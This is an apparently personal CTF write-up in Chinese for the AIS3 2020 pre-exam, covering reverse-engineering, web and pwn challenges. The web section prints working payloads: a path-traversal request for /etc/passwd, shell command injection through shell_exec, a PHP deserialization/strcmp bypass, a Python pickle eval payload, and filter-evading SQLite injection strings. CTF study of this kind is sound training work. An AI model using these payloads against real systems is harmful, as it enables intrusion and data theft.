AIS3-2020-pre-exam

Crypto

misc

Reverse

  • 🍍TsaiBro

    • 這題也是之前的,打開ida或ghidra,能拿到表與規則
    • 規則則是敲打密碼
  • 🎹Fallen Beat

    • java逆向
    • 利用jadx-GUI查看邏輯,修改邏輯請用jbe
    • 可以發現裡面有setvalue(),將MaxCombo跟total改成0,進行patch
      • 拆包
        • jar -xf Fallen_Beat.jar
      • 更新jar裡元素
        • jar -uf Fallen_Beat.jar Control/GameControl.class
    • 等三分鐘就有flag,如果是windows的用戶,通常會有解析度導致flag出不來,可以透過patch視窗大小來調整
    • 不過後來想想很像可以直接把生flag那段code拿來執行就好了
    • ref: https://www.talksinfo.com/how-to-edit-class-file-from-a-jar/
  • 🧠 Stand up!Brain

Web

  • 🐿️Squirrel
    • F12看一下,能夠撿到apihttps://squirrel.ais3.org/api.php?get=%2Fetc%2Fpasswd
    • 於是我們拿api的code
      • ?get=./api.php
    • 然後發現shell_exec,是個command-injection
      • $output = shell_exec(\"cat '$file'\");\n
      • ';ls /;'
    • 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
      • ';cat /5qu1rr3l_15_4_k1nd_0f_b16_r47.txt;'
  • 🦈Shark

  • 🐘Elephant

    • 要先想到.git
    • 利用git-dumper把code dump下來
    • 發現source code
      • php-deserialize
      • 利用strcmp的缺陷,去構造陣列比較
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        <?php
        class User{
        public $name, $token;
        function __construct($name, $token) {
        $this->name = $name;
        $this->token = $token;
        }
        function canReadFlag() {
        return strcmp($flag, $this->token) == 0;
        }
        }
        $arr = array();
        $tmp = new User('AAA', $aaa);
        echo base64_encode(serialize($tmp));
  • 🐍Snake

    • python pickle的反序列化,一樣構造
    • 參考自: https://hackmd.io/@2KUYNtTcQ7WRyTsBT7oePg/BycZwjKNX#/5/9
    • script
      1
      2
      3
      4
      5
      6
      7
      import os
      import pickle
      import base64
      class A(object):
      def __reduce__(self):
      return (eval, ("open('/flag').read()",))
      print(base64.b64encode(pickle.dumps(A())))
  • 🦉Owl

    • 登入admin/admin,看source-code有source
      • <h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
    • sqlite的sqli
    • 過濾方式,把東西寫三次繞過,最後用分號切開語句,後面接註解

      1
      2
      3
      $bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
      $username = str_ireplace($bad, '', $username);
      $username = str_ireplace($bad, '', $username);
    • payload

      • 先猜column(發現有3個)

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,2///******///,3;///******
      • 查表,看column

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,group_concat(sql)///******///,3///******///frfrfromomom///******///sqlite_master;///******

        -查garbage,就有flag嘞

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,group_concat(name||value)///******///,3///******///frfrfromomom///******///garbage;///***

Pwn

  • 👻 BOF
    • 就buffer-overflow,去年初過